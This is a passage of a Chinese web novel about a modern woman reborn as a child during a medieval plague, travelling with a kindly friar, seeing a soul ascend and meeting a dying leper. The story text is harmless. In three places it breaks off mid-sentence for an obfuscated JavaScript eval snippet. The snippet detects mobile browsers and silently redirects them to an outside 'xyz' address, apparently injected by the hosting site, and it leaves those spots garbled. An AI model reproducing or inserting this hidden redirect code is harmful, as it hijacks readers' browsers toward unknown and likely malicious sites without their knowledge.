在这样的大前提下,即使那位幸存的本地修士表示听过那少年父亲的名字,也无法完全证明此时此刻站在修道院门前的人确实是“普拉镇的弗朗西斯科”。 冷静下来的菲丽丝想到了这些,很快就因为自己的冲动而产生一丝懊悔。 可萨瓦托雷修士似乎完全没有这样的顾虑。在出门与那少年见了一面,并得知当地教区的神父已经跑路、导致镇上很多人在去世前都没有接受临终圣事的机会后,他便毫不犹豫去厨房收拾出一小筐东西,跟在少年身后出发了。 菲丽丝一开始只是愣愣看着他佝偻的背影,可不知为何双腿就那样跟了上来,还十分顺手地将老人挎在手臂上的那个小筐接到自己手里。 也许,她真的很需要立刻确认些什么。 她实在受够了一路上疑神疑鬼的自己,她只是想知道一个答案……就算那可能会有些风险,那对现在的她来说也是值得的…… 路再长也总有尽头。 就在菲丽丝的思绪开始乱飞时,一行三人已经走到普拉镇唯一的旅馆门前。 这座小镇的人口不算多,可一路走来家家也是关门闭户,街道上几乎没有行人。 偶尔菲丽丝能察觉到有人在从窗缝或门缝中窥伺他们,可当她看过去时,迎接她的也只有木板飞快闭合的声音。 在少年的带领下他们依次走进旅馆,很快见到了一名形容枯槁的妇人躺在床上。 第一眼看到那张堪称惨白的脸时,菲丽丝差点以为他们已经来晚了。 可当那自称为“弗朗西斯科”的少年哭着扑到床前时,那两瓣已经开始发青的嘴唇居然动了一下,双眼也跟着缓缓睁开,呼吸变得急促起来。 菲丽丝有些难以形容那双眼睛,像蒙了一层白纱的琉璃珠,朦胧又脆弱。 女人似乎已经看不见了,即使睁开眼视线也没有焦距,就像那两片微微抖动却始终无法吐出话语的嘴唇,会动也不是因为它们的主人想要表达什么,只是生物最本能的反应。 她真的快死了,也许下一秒就会咽气——菲丽丝这样确信地想着。 失去亲人的痛苦是任何人都不会想反复经历的。 越是感情好,眼睁睁看着他们离开时越是痛苦,那种被刀刃反复切割心脏的感觉即使过去多年也难以遗忘。 菲丽丝看着少年不自主颤抖的双肩,不忍地撇开视线。 “唉……” 身旁传出一声极轻的叹息,轻到菲丽丝差点以为那是自己的错觉。 下一秒,手臂上的重量一轻,那只颇有分量的小篮子就被萨瓦托雷修士拿到了手中。 穿着灰袍的老人缓缓走到女人的床边,伸出枯瘦的手轻放到对方的额头上,轻声念诵起祝福的经文。 他的声音始终未变过,缓慢但清晰,如一把柔软的毛刷,一点点将堆积在心头的褶皱抚平。 不知何时,少年的抽泣声消失了,女人急促的呼吸也变得缓和,紧皱在一起的五官慢慢松弛下来。 老人垂眸看着躺在床上的妇人,仿佛在看一个孩童。 他口中依然念诵着经文,手却从篮子中取出一只透明的玻璃瓶,将里面的液体倒出一点在手中,再慢慢将其抹到女人的前额和双手上。 女人彻底平静下来了。 那双无法对焦、却始终充满慌张的眼睛缓缓闭合,好似一切令她感到不安和烦恼的东西都被驱散了,仿佛成为再次回到襁褓中的婴儿,因为听到了熟悉的摇篮曲而露出安详的笑容。 就在此时,菲丽丝突然看到一道透明的身影从女人身上升起。 称之为“身影”实在有些勉强。因为它实在太轻盈,比菲丽丝见过的、最轻薄的纱都要透明,她甚至无法看清那轮廓上的五官和表情。 菲丽丝屏住呼吸,静静看着那道“薄纱”般的人影踮着脚尖行走在半空,步态轻盈地在屋中徘徊片刻,最后停在跪坐在床尾的少年身边,轻轻俯身,从后面抱住了少年。 两者的接触只有短短数秒,虽然这一幕在菲丽丝眼中像是被无限拉长了,可那抹“薄纱”很快便开始上升,像失去牵线的氢气球,缓慢而匀速地上升着,很快就飘上了房顶…… “……愿吾主保佑,让你回到慈爱圣母的怀抱。” 随着修士最后的祷词落下,那抹身影也彻底消失在菲丽丝的视野中。 这是菲丽丝第一次完整看到一个人死去、灵魂升天的样子。 虽然之前就徒手揍过恶灵,身边也有个十分话痨的幽灵教授,可她还是仰着头久久没能回过神,连少年已经跟修士道完谢都没有注意到。 “…………” “你在看什么?” 一句问话让菲丽丝猛地打了个激灵,瞬间将她拽回现实。 回过神,一老一少两双眼睛都看向她。 少年看起来显然很疑惑,时不时还要抬头看一眼她刚刚看的方向。 比起他,萨瓦托雷修士的目光却更加深邃。他虽然身高不高,可对菲丽希安娜这具八岁的身体来说,她接收到的视线始终是自上而下的。 对上那双苍老的眼睛,菲丽丝只感觉脑中一片空白。 嘴唇张开,竟然脱离了大脑的控制直接说出了心声。 “我看到,有个影子从她的身体里飘出来,飞走了。” 菲丽丝清晰听到自己这么说道:“她抱了一下她的儿子,就往天上飘去了……” 名为“弗朗西斯科”的少年听她说完后愣了下,下一秒便不顾礼仪地抓住她的双肩。 “你、你说真的?!”少年通红的双眼以肉眼可见的速度再次涌出泪水,“你……你真的看到了?你看到她升上天堂了?” 这突如其来的变化打了菲丽丝一个措手不及。 她本能想要否认,可看到少年那似哭似笑的表情,对上那双近乎溢满恳求的眼睛,快说出口的话只能生生咽下去。 “…………” “是。”她看着他的眼睛,肯定道,“她去了天堂,我看到了。” 真切的话语传入耳中,少年再也抑制不住地大哭出声。 “吾主保佑你,圣母保佑你……” 握着女孩的双手改为环抱,他反复在她耳边重复着这句话。 他应当很需要一个拥抱。 菲丽丝这么想着,在少年悲戚的哭声中慢慢伸出手,轻轻拍了拍那副还很瘦弱的后背。 *** “……我以为你永远不会跟人说你能看到幽灵。” 燃烧的壁炉旁,派勒乌索教授一边叹息一边说道:“我知道你是好心安慰那孩子,但这种话还是不要在其他人面前说了。我想,你也不想再被别人当成疯子吧?” 菲丽丝抻了抻明显缩水的毯子,沉默片刻后将它放到一边,这才对着火光坐下。 “……原本我没打算说出来……” 话说到一半,她又笑着摇摇头,双臂搭到椅背上:“算了,反正这次我不后悔。” 派勒乌索教授盯着她的发顶看了会儿,突然道:“你是不是又在试探?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556152|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “试探什么?” “那个灰袍修士,你好像一直不太信任他。”幽灵飘到她的视野内,盯着她的眼睛说道,“我几乎一直跟在你身边,可我没发现他有什么奇怪的举动,恰恰相反,他一路上的所有举动都说明他是个品德高尚的人……还是说在我没看到的地方他对你做了什么?不然我实在想不通你为什么要格外防备他。” “……我也不知道。” 菲丽丝闭闭眼,长长叹出口气后将下巴埋入臂弯:“我知道他应当不是坏人……但我怀疑,他已经看出我不是原本的菲丽希安娜了。” “真的吗?”派勒乌索教授的声音带上些许惊讶,“你有什么依据?还是他跟你暗示了?” “…………” “没有,只是我的直觉。” 菲丽丝咽下自己一开始想说的,思索片刻后才重新找了个借口:“他对待我的态度不像是对待一个孩子……是更加平等的,像是对待一个成年人。” “这难道不是应该吗?一个谦逊的人理应用平等的态度对待每一个人。萨瓦托雷修士是个阅历丰富的修士,我不觉得这有什么奇怪的。” 派勒乌索教授先是露出难以理解的表情,随后又像是想起什么,双眼忽地一亮:“等等……你的意思是,你原本已经成年了?” 菲丽丝:………… 菲丽丝叹息:“突然询问一位女性的年龄是很失礼的,教授。” “所以你在变成这样前确实是个成年女性?”幽灵的好奇心不减反增,继续追问道,“既然如此我还真有个问题想问你……你觉得返老还童的感觉怎么样?身体重新变年轻是不是感觉棒极了?” “……我倒还没老到那个地步。不过重新换一次牙实在算不上是什么愉快的体验。” 伴随着幽灵的笑声菲丽丝忍不住翻了个白眼,拿起一盏油灯起身走向院子。 她原本的想法是室内有些闷,走到外面至少能呼吸些新鲜空气,驱散那股堵在胸口的闷气。 可她没想到的是,就算是这平平无奇的小院子,也会带给她一些小惊喜。 比如现在,她刚走没两步就被什么东西绊了下。 弯腰仔细看了眼,发现那居然是一节露出地面的鞋尖,菲丽丝一句脏话直接脱口而出。 但想起现在自己还在修道院里,她只能忍着那头皮发麻的感觉,一边低声向对方道歉一边试图扒拉周围的土将其埋好。 二重惊喜,不等她扒拉多少土出来,她刚刚扒拉的地方突然露出一缕头发,根部似乎还深埋在地下…… “他们会把尸体运到城外埋,那就说明城内已经没有能埋人的墓地了。” 飘在她身后的幽灵幽幽道:“别白费力气了,你这样只会把尸体挖出来。” 他不说菲丽丝也打算放弃了,干脆直接坐到那鞋尖的不远处,仰头看向夜空。 天气似乎与时间一样,从来不会因为人们正在经历苦难而改变。 尽管死亡的阴影正笼罩在这座城市之上,可此时的夜空依然清朗。在没有光污染的时代,一条清晰的天上银河绚丽到让人移不开眼。 有种很神奇的感觉……在目睹过一个人去世的过程后,她的心反而变得平静下来。 肉|体和灵魂,哪个才能代表真正的自己? 让菲丽丝选,她会毫无疑问指向后者。 如果所有人死后灵魂便会那样升上天空,离开这个地狱般的世界,那留下的也不过只是如人偶一样的躯壳……这么去想,似乎尸体也不那么可怕了。 倒映出星光的眼眸跟着柔和起来,原本紧皱的眉头舒展开,连积郁在胸口的那股闷气也跟着夜风消散。 起身回到室内前,她的脚步微微顿了下,转身朝庭院中的那只鞋尖摆摆手。 “晚安,这位陌生人。” “希望你现在也能看到这么美的星空。” 19.灰袍修士6 019 接下来的两天里,菲丽丝都安安静静待在修道院中,再也没有踏出大门一步。 期间也有人曾敲响过修道院的大门,试图得到帮助,但在听说这里有染病的修士后,几乎所有人的反应都是转身逃走,只有少部分人会在临走前隔着门板说些“期望修士们能尽快恢复健康”之类的祈祷词。 因此,除了第一天遇到的那名少年,菲丽丝再也没见过其他人。 趋利避害是人之常情,菲丽丝并不觉得那些人离开有什么不对,不如说,像萨瓦托雷修士那样一直不求回报地帮助他人才是比较奇怪的。 而且事情发展到现在,她是真有些担心这位圣父般的老人会在哪天跟着染上疫病,突然暴毙。 先不说萨瓦托雷修士是不是真心想给她找一个归宿的好人,更残酷些的现实是,如果作为引路人的他先死了,菲丽丝这个没有监护人的小孩就要完全失去所有的安全保障了。 即使是在现代,很多成年人独自出门旅行都有可能发生意外,别说她现在身处在几百年前的中世纪,菲丽丝真是一点都不想用这一副可怜的身体玩一场生存游戏。 于是,这些天她除了做饭,最常做的便是尽力清洁这座修道院,保证不让任何一只吸血虫出现在自己能见到的范围内。 尤其是那间已经被萨瓦托雷修士封闭起来的修士宿舍,她站在门外再三强调,绝对要让他们几个的衣服被褥保持干净,一旦发现虱子跳蚤等寄生虫一定要及时清洗,每天的食水营养也要跟上。 至于为什么一个孩子突然会说出这么多……这次菲丽丝没有再费心找其他理由,干脆又说了一次自己“梦遇圣母”的故事。 不知是她的故事讲得太好还是修士们太虔诚,反正萨瓦托雷修士听完后非常郑重地表示他们一定会按时吃饭,自己也会跟那些“虫子兄弟”好好沟通,不让它们靠近自己。 “‘虫子兄弟’……他真把自己当成圣那图拉,觉得世间万物都是能传教的‘兄弟’了?” 仗着对方看不到自己,派勒乌索教授忍不住当场吐槽了一句。 然而过去了几秒,他并没有等来身边人认同的声音,反而看到女孩的脸上出现了若有所思的表情。 “你不会真信他……” “那您能帮我跟它们说一下,请它们也不要靠近我吗?” 幽灵的声音与女孩的声音几乎同时响起,后者还跟着补充了一句:“当然,如果它们能不吸人的血就更好了。” 门的另一侧安静一瞬,很快便传出两声笑。 “好孩子,它们不会靠近你。” 老人用那令人心安的语调缓缓说道:“你也不用太过担心我们。我看得出布鲁尼修士的病已经有了起色,有圣母的庇佑,相信他一定能挺过这一关……” 说实话,菲丽丝一开始对这话并不是很相信。 可事实胜于雄辩,当第三天的清晨,她从派勒乌索教授听说那位染病的修士已经能下地行走时,着实吃了一惊。 在幽灵的转述中菲丽丝得知,那位染病修士本身就是修道院中负责治疗病患的修士,又是最终的幸存者之一,对这场疫病的了解自然比其他人更深刻。 而从他的口中,菲丽丝也知道了一个打破认知的信息。 原来黑死病并不会百分百致死——排除突然暴毙的情况,只要病人的身体本身够好,能及时得到周围人用心的照顾,在发病后挺过第五天,那就基本可以存活下来。 可这种病最可怕的是传染性实在太强,几乎是第一批病人还没痊愈,照顾他们的人就也染病倒下。 如此循环往复,修道院里的人很快就撑不住全部倒下,同时也让所有病人都失去照顾他们的人,这就使很多原本还有救的人失去了最后的生机…… 得知这条信息的菲丽丝久久没能回过神。 她看向明亮的窗外,恍惚中,似乎又看到了那道佝偻的剪影。 如果当时她亲自去照顾那个人,比其他人更用心一些,那个人是不是能有更大概率活下来? 想法刚一冒头就被她自己否认了。 先不说马西莫必然不会同意自己最心爱的孙女来照顾染病的自己,就算真去了,她一个连拎水桶都费劲的小孩要怎么照顾一个成年男人? 尤其乔瓦尼大师与马西莫是挚友,且当时这种疫病的可怕之处还没有完全展现出来,她实在没有理由怀疑当时照顾马西莫的人没有尽心…… 菲丽丝深吸一口气,将脸埋进手心。 就算理智上清楚明白,心头的酸涩感依然久久无法消失。 可事情已经发生,她既然无法改变过去,那就只能把它记在心里……逝者已逝,活着的人总要继续走下去。 到达维利斯的第四天,迟迟没有消息的商队终于有信了。 商队领头终于敲定好离开的时间,派出自己的侄子来修道院传话,并带来了一个不算好也不算坏的消息。 “……我们得到了确切的消息,原间城目前已经完全对外封锁,严禁外来者入内。” 来传话的年轻人喝了口水清清嗓子,这才继续唾沫横飞地对萨瓦托雷修士解释道:“听说是城内刚出现疫病的时候城主就下了禁令,还直接让人用砖头把生病的三户人家完全封起来!这样里面就算有还没染病的人也会活活饿死啊,真是一个不折不扣的暴君!”[*1] 坐在一旁的菲丽丝愣了下,突然有种很复杂的感觉。 即使在现代,想要控制传染病传播出去的最有效方法依然是“隔离”。可即使这是大家动动脑子就能想明白的事情,想要执行下去还是不容易。 除了部分能自给自足的乡村,绝大部分地区生活的人都需要用“交易”来满足自己的日常需求,而“隔离”无疑会让“交易”的进程受阻,继而影响人们的正常生活。 每个人都是独立的个体,每个人都有自己想维护的利益。 所以,即使那是一个有利于绝大部分人的方案,别说是一个国家地区,就算是一个公司、一个部门里,想要实施下去也会受到种种阻碍。 此时此刻,由于原本统治着意图恩诺半岛的圣雷慕帝国势力衰微,帝国皇帝在这里早就有名无实。类似阿斯卡这样的共和国们公开宣布独立,帝国可是连吱都没吱一声。 在这样的情况下,想要把某个命令强行推行到整个半岛上,那这个命令就必须符合整个半岛上所有城邦的利益。 而类似阿斯卡和维利斯这种靠“贸易”起家、由各大家族共同执政的共和国来说,钱永远是第一位,斩断商路就是要了他们的命。 所以即使知道疫病危险,商人们依然不会停止在城邦间行商。 也是因此,菲丽丝才不会想到,这里居然会有一位城主能做到排除所有人的意见、完全关闭城门,坚决把隔离政策贯彻到底。 对那三户染病并被活活封死在自己家里的人来说那确实是一位“暴君”,但对城内那些没有染上疫病的人来说,他们也确实因这样的“暴君行径”留下一命…… 菲丽丝甩甩头,心说这跟自己也没什么关系。 现在的原间城已经对外封锁,那她也不可能进入位于城内的修女院,看来她是真要一路跟着萨瓦托雷修士去罗兰了……就是现在“顺风车”已经不再“顺风”,不知道接下来他们是要另找一支商队还是自己走过去…… 另一边,萨瓦托雷修士也提出了同样的问题:“既然原间城不能去了,那你们打算现在就折返回雷慕吗?” “叔父这几天也在烦恼这件事。毕竟我们手头的货连三分之二都没清到,肯定不能就这么回去……所以我们打算改路去罗拿城……” 年轻人在桌下不断揉搓着手指,有些心虚地瞟向对面的老修士:“但这样、这样我们就不会路过原间城了……不过现在就是去了那边也没用,就算是去投奔亲戚的也算外来者,他们是不会让你们进去的……” 他还在为商队即将食言的事感到愧疚,连赔偿事宜都想好怎么说了,却没想到对面的老修士在此时露出一个笑。 “既然原间城进不去,那这孩子就还是暂时待在我身边吧。”他对年轻人解释道,“我本来打算是把这孩子送到原间城后就去吕得,与你们也算一半顺路。等到了卢古,我们再找一支北上去吕得的商队就好。” 年轻人先是一愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561670|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又是大喜:“不用找了,我们这两天也约好与另外一支准备去罗兰的商队同行,他们这次的目的地正是罗兰的首都!稍候让我叔父去跟他们的领队商量一下,他们一定不会拒绝!” 于是很神奇的,虽然路线和目的地都出现了变化,菲丽丝还是在第二天再次坐上了同一辆马车出城了。 只是与来时不同的事,商队中又多出一位搭顺风车的“旅客”,还是一位很眼熟的…… “没想到您也会在这里!” 一名挎着行囊的少年看到坐在板车上的一老一小,立刻双眼一亮,快速跑到近前脱帽行礼:“日安,萨瓦托雷修士。我刚刚去了修道院,听说您已经离开还十分遗憾……没想到这么巧,居然会在这里遇见您!” “都是吾主的安排。” 老修士看到他时同样很惊讶,在少年准备上车时伸手拉了一把:“你这是……也要去罗兰?” “是……我的父母都去世了,那家旅馆凭我一个人也经营不下去,我已经把它卖了。” 少年眼中闪过一抹暗色,再次抬头时已是满脸坚定:“我不知道这场瘟疫什么时候能结束,但普拉和维利斯都不安全了……我打算去罗拿城。我叔叔在那里生活,那又是教皇冕下所在的城市,一定也是最受吾主庇佑的地方!” 灰袍修士温柔看着面前的少年,安静听他说完,没有认可也没有反对,只轻轻念出一句祈祷词后将手掌轻轻放到他的前额上。 “一切都是吾主的指引。”他说道,“愿你最终能找到令你安心的所在。” 少年笑了,抱着行囊用力点了下头。 城内的钟声敲响,商队再次穿过城门,驶离这座城市。 今天依然是个晴天,阳光带着炙热的温度兜头罩下。 而经过大门时,菲丽丝再次看到那些运送尸体的推车。 也许是被后世的文娱影响太深,她总觉得现在这种场景该有些风雨作伴,至少也应该是个阴天,这才能体现出此时的一切有多么可怖凄凉。 可事实是,不光是今日,从他们来到维利斯到离开的一周里天天都是大晴天。如果不是再次看到这些运送尸体的队伍,菲丽丝险些都要忘记这座城市正在经历一场“大屠杀”…… 太阳从来不会照顾人类的想法和心情,云彩和风雨也不会。 对大自然来说,任何生物的过去、现在和未来都没有意义。 它们只需要依旧按照那套古老而固定的规律运作,平静而缓慢地走过,任何赞扬、贬斥和畏惧都不值一提…… 菲丽丝看着那湛蓝到没有一丝瑕疵的天空,不由这么想道。 也许,只有人类才会傲慢到将其中的某些巧合当成映射自己内心的工具,它们本身可不会为任何东西“哭泣”。 看着运尸队伍跟自己并排而走,她发现自己对尸体的恐惧没有之前那么深了,至少不会再像之前那样趴在车边干呕。 但那么多堆积在一起,再加上现在的温度实在超过了储存肉类的适宜范围,路过时的味道还是会把人熏个倒仰。 好在分别的时刻很快就到了。 等走到某个集合点,运尸的小车纷纷停下,商队终于能与其分道扬镳。 菲丽丝一边庆幸自己终于能与那可怕的味道告别,一边又有些好奇他们到底要怎样处理那些尸体,不由扭过头去看那集合点到底有什么特殊之处。 “他们在那里挖个好几个大坑,会把尸体全都埋进去……毕竟哪里的墓地都装不下这么多人。” 身边突然传出一道解释的声音,菲丽丝一扭头,就见那名为“弗朗西斯科”的少年也跟她一起趴在车边往回看。 “我见过他们处理尸体的方式。往里面倒一层尸体,再盖一层土,第二天再倒一波尸体,再盖一层土……”少年依然盯着那些运尸人的背影,原本漠然的眼底仿佛闪过了什么,嘴角跟着勾起一个讥讽的弧度,“就像做千层面一样,一个坑能埋不少人呢。” 菲丽丝:………… 不等菲丽丝对这可怕的比喻发表什么感想,派勒乌索教授已经被恶心到干呕:“这孩子说话怎么这么……我以后再也吃不了千层面了!” 20.灰袍修士7 020 话题在少年魔鬼般的比喻中戛然而止。 不过比起一个本来就吃不了东西的幽灵,菲丽丝还是更心疼还能吃饭的自己。 在看到维利斯城中的惨状后,商队中的气氛明显低沉了不少。 连那个带着短笛的年轻人都没有从怀中拿出笛子,只沉默地握着缰绳,始终目视前方。 车轮骨碌碌地往前走,很快,流连在鼻尖的那股味道彻底被清风带走。 车队离开土路,走上了由灰石铺就的“大道”。 尽管坐在车上依旧很颠簸,偶尔会遇到一个坑,石头之间也生出不少野草,但这还是菲丽丝第一次在城外看到铺了石头的人造路,不由向下多看了几眼。 “这是古雷慕帝国时期修的路,据说已经有一千多年的历史了。” “不过这边路上的很多石头都被周围人挖去盖房子了,再往前估计就没有了,据说只有雷慕城附近的大道还保存得比较完好……” 熟悉的声音从身边传来,菲丽丝的身体僵硬一瞬,但出于礼貌,还是转头看向坐在身边的少年。 少年,也就是新加入车队的弗朗西斯科对她露出一个友善的笑,这才继续说道:“说起来我还没正式向你道过谢……谢谢你那天的帮忙,我实在不知道该怎么感谢你。” 菲丽丝与这个看上去应该刚上初中的小孩对上视线,不由习惯性抿了下唇。 平心而论,弗朗西斯科的长相很端正。 浓眉大眼,牙齿白净,一头卷曲的黑色短发被打理得十分整齐,碎发下那双带着笑意的眼睛里似乎带着与生俱来的亲和力,简直与前几天那个刚刚失去母亲、哭到满脸鼻涕眼泪的可怜少年判若两人。 “……我只是帮忙传个话。”菲丽丝顾忌着自己失去的门牙,跟人面对面时只能小幅度地张嘴嗫嚅道,“主要是萨瓦托雷修士好心……” “请不要这么说!你当时愿意为我传话我就已经很感激了!” 少年突然拔高声音,但在周围若有若无的视线下又很快冷静下来,凑近低声道:“还有你之前说的……我知道你是在安慰我才会那么说……这可能对你来说没什么,但我真的很感谢你……” 菲丽丝明白他是在指那句“他母亲已经升上天堂”的话,目光不由撇向那坐在板车另一侧闭目养神的老修士。 “…………” “我不是安慰你才那么说的,我真的看到了。” 沉默半晌后她在心中叹息一声,嘴上却坚持了自己之前的说法:“是不是去天堂我不知道,但我亲眼看到她的灵魂升到了天上。” “那你可真勇敢,要是我肯定会吓得大叫呢。” 少年愣了下,接着笑道:“对了,我现在还不知道你是谁。如果你愿意,我能知道你的名字吗?” 还真是把她当小孩子哄了…… 菲丽丝立刻看出对方根本没有相信自己的话,内心复杂的同时也小小松了口气。 既然对方已经主动示好,他们又要做一段时间的同行者,菲丽丝倒是不介意说出自己的名字。 “……菲利希奥。” 她说出之前就定下的“男性名”,顿了顿,补充道:“你可以叫我菲利斯。” “很高兴认识你,菲利斯。” 少年没察觉到这有什么不对,爽朗一笑,直接顺着气氛将话题引向其他类似“今年多大了”“从哪儿来到哪儿去”等等琐碎问题。 这些基本信息商队中的人都知道,菲丽丝心说就算自己现在不回答,凭借少年那条灵活的舌头也早晚能从同行人口中套出来,便没有隐瞒什么。 不过她也没有完全任由对方发问,基本是少年问完一句她就反问对方一句相似的问题。 小菲丽这具身体还小,睁大眼睛看人时便显得更加纯真,弗朗西斯科也是个对气氛很敏感的人,在两人一来一往的交谈中也算是互相做了个比较详尽的自我介绍。 弗朗西斯科不愧是旅馆老板之子,不仅皮肤比周围走商的年轻人白皙,嘴更像是抹了蜜一样甜。 除了最开始那句“尸坑千层面”实在太过地狱,他之后说出的所有话都很有分寸,从来没让话题落到地上过。 尤其是到了晚餐的餐桌上,少年那卓越的社交能力完全释放出来。 他显然并不很了解这些商人,也对外面的世界知之甚少,可有些人就是有这样的本事,呼吸间就能把对方与自己距离拉近。 短短一顿饭的时间,他就让两个商队的人都记住了自己的名字,并留下了不错的印象。 有他在场,众人早就把萨瓦托雷修士那没讲完的传教故事抛到脑后,毫不避讳地催促少年讲述他在自家旅店中听闻的奇葩故事。 也许是自己没什么就越会向往什么,菲丽丝一直很欣赏这样的人。 而且难得遇到这种天生的演说家,能近距离观赏对方施展说话的艺术不亚于在后世观看一场即兴脱口秀。 不过欢乐的时光总是短暂的。 第二天,两家暂时同路的商队再次顶着朝阳出发。 时间就在车轮与道路的摩擦声中一天天度过。 他们有时候会留宿在村镇中的旅馆,遇到没有宿头时也会在野外凑合一夜。反正现在到了春末夏初,温度已经升高,只要轮班守卫能尽责,在外面睡一晚不会有什么事。 白天,弗朗西斯科偶尔会过来跟她和萨瓦托雷修士聊聊天。但可能是她和老修士的话实在很少,少年大部分时间还是用在了商队其他人身上,很快就跟两家商队的人都打成了一片。 队伍里多了这么一个能活跃气氛的“小山雀”,商队的整体氛围总算没有之前那么沉重了。 弗朗西斯科还结识了蹭另一个商队车的吟游诗人,据说两人聊得很投机,偶尔菲丽丝也隐隐能听到鲁特琴悠扬的弦音。 头顶是一望无际的蓝天,长满红色虞美人的平原慢慢被抛到身后,前方隆起的山丘下总会分布着高低错落的屋顶,如信徒般跪地仰望着建山丘之上的教堂。 菲丽丝不得不承认,作为几百年后依然享誉全世界的旅游胜地,意图恩诺半岛上的风景确实美不胜收。 过去菲丽丝总会怀疑古典派风景画之所以会那么美,应该免不了画师用想象力去优化,就像那些经常在网上的照片,发布前总会被作者套上一层滤镜……此时真真切切用双眼看到,她才明白原来世界上居然真会有如此美景。 不需要调色,也不需要修饰,任何画师看到这样的风景都会手痒到想把它记录下来。 只要能将倒映到眼中的颜色全都一比一还原、按照对应的位置落到画布上,它就会是最完美的……这里就是人间的天堂。 因此,当菲丽丝看到这如画一般的美景中有一个不起眼的“小土包”时,她没能在第一时间发现那有什么不对劲。 而就在车队路过时,那堆在路边的“土包”突然伸出一根系着铃铛的木杖,风中立刻传来一阵微弱的“叮铃”声。 菲丽丝循声望去,猛然发现那并不是什么“土包”,而是地上趴着一个人。 那人身上的衣服简直比萨瓦托雷修士还要破旧,或者说,那根本不能称得上是“衣服”,简直就是一些肮脏的破布条,与对方那与泥土差不多的皮肤混在一起,一眼看去完全看不出那居然是一个人。 完全看不出性别的人已经失去了说话的能力,不知是饿的还是原本就不会说话,干涩的喉咙里只能发出“嗬嗬”的声响,努力朝车队的方向抬起头。 有一瞬间,菲丽丝看清了那人的面容。 那张脸上分布着无数石头般的肉瘤肿块,几乎要将眼睛挤没了,布条下的手臂却瘦得像一具即将与泥土融合的骷髅,只能把所有的力气都用来摇响手中的铃铛,引起他们的注意。 “圣母在上……请停一下车!” 原本安静坐在一旁的老人突然往前高呼一声,不等马车停稳便匆忙跳下车,拄着拐杖走到路边。 菲丽丝习惯性跟着他跳下车,正想跟上,却被派勒乌索教授的声音喊住。 “别靠近!” 幽灵挡到她的面前,焦急道:“你不能过去,会被传染的!” 与此同时,听到声响的弗朗西斯科也匆匆赶来。 见菲丽丝没有跟着跑过去总算松了口气,赶紧拉着她的袖子回板车旁。 “……那、那应该原本住在附近的麻风病人……” 少年看看路边,有些不忍地撇开头,小声解释道:“之前提姆神父还在的时候,我们镇上每隔两三天就会往镇外的病房送一些吃的……但现在……” 他没能把话说完,但在场的人都明白了他的意思。 在这里,麻风病人是比乞丐都让人避之不及的存在。 由于发病后皮肤会变得像石头一样硬,人们深信这种会导致人皮肤异变的疾病具有传染性,一旦有人确诊得了麻风病就必然会被逐出居住区,任何人都会拒绝与他们接触,还必须随身携带铃铛或响板以提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567277|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人“有麻风病人在靠近”……在这样苛刻的条件下,他们也只能靠附近居民或领主的救济苟活。[*1] 然而现在,连本地神父都会抛弃自己教区跑路,镇中的人们也因疫病的降临陷入恐慌。 幸运没能染上疫病的人家全都关门闭户,谁还会顾得上那些生活在城镇边缘的人? 况且,眼前这个已经快要与泥土融为一体的人应该很快就要死了…… 听着周围人的解释,菲丽丝的视线却始终无法从那道灰色且佝偻的身影上移开。 她看到萨瓦托雷半跪下身,拿出自己的水囊,连同怀中仅剩的半块面包一起放到那人身前,听到他向那人念诵了一段祈祷词,听到一阵不似人的呜咽。 太阳依然高挂在天上,耳边还能听到声音……可有那么一瞬间,菲丽丝感觉落在身上的日光突然失去了温度,连周围的风景都跟着褪去颜色。 她好像又变成了那个第一眼看到这个世界时的游魂。 麻木地、剥离情绪地、像个局外人般被人再次拉上马车,眼睁睁看着那个趴伏在地上的点慢慢消失在视野中…… “…………” “不要难过,我的孩子。那个可怜人总会回到吾主身边。” 菲丽丝感觉到一只手轻轻放在她的头顶,只是一个不起眼的动作,她却像是被猛然拽回人间,露在外面的皮肤再次感受到正午阳光的温暖。 女孩愣愣看着自己暴露在阳光下的手背,感受着从手背传来的温度,原本还有些不确定的猜测跟着更清晰了一些。 “……萨瓦托雷修士,你……” 见老人看过来,她的嘴唇动了动,最后还是咽下那股冲动,转而问道:“你之前说过,圣那图拉可以与万物沟通,连蚂蚁和鲸鱼都可以……你说那是吾主给予他的礼物,难道……当时就没人觉得他是个异类吗?” 话刚说出口,菲丽丝就听到坐在一旁的弗朗西斯科和派勒乌索教授齐齐倒吸一口冷气,这让她立刻意识到自己刚刚说出的话有多么不妥。 但不等她做出什么补救,坐在一旁的灰袍修士已经笑出了声。 “当然会有人觉得他是异类,一开始大家都以为他是个疯子!” 